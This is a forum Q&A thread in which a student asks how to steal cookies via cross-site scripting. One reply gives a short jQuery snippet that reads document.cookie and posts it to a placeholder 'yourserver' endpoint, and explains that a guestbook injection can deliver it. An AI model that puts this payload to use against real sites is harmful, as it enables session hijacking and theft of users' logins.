Click here to Skip to main content
14,981,532 members
Please Sign up or sign in to vote.
1.00/5 (1 vote)
See more:
I need a practical example about stealing cookie in xss with
i googled it but all the examples in php and are not sufficient
thanks all

1 solution

I could give you an answer, but I wont.. If you want to know how you can prevent someone from doing this in your website, please let me know..
Khaldoon Al-Talib 9-Aug-12 8:37am
I am just a beginner and I am working on a graduation project and I need primary practical example if you could help me please
StianSandberg 9-Aug-12 8:43am
I'm not doing your homework. I'm sure you'll find a lot info if you give google another shot. A little tip: You don't need php. This is a matter of client side code (not server side like PHP, .NET, java etc) XSS is cross-site-scripting. Scripting is in most cases javascript.
Sergey Alexandrovich Kryukov 12-Aug-12 17:07pm
If you are going to graduate, how come you are a beginner?
Khaldoon Al-Talib 9-Aug-12 8:48am
I don't want you to do my homework but I need a useful link so I've been searching for 24 hours on google but I didn't find any thing useful(practical) except theorical demonstration and as you know if you want to learn any thing you must start with a simple practical example to know
thank you very much
StianSandberg 9-Aug-12 9:19am
Javascript can read cookies. If you succeed writing javascript to a website (a guestbook) then this javascript can read cookies, and send cookie values to your server using ajax. It's actually quite easy to do.
If you know this server is using jQuery it's as easy as:

<script type="text/javascript">
var ctx = document.cookie.toString();
$.post('http://yourserver/getcookiedata.aspx', { data: ctx });
Then yourserver/getcookiedata.aspx needs to receive this data and store it somewhere..
Khaldoon Al-Talib 9-Aug-12 9:31am
ok I will try to understand that
and if you could help me in more details
thank you alot
fjdiewornncalwe 9-Aug-12 10:49am
+5. Perfect answer for this type of question.
Sergey Alexandrovich Kryukov 12-Aug-12 17:07pm
My 5, too.

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900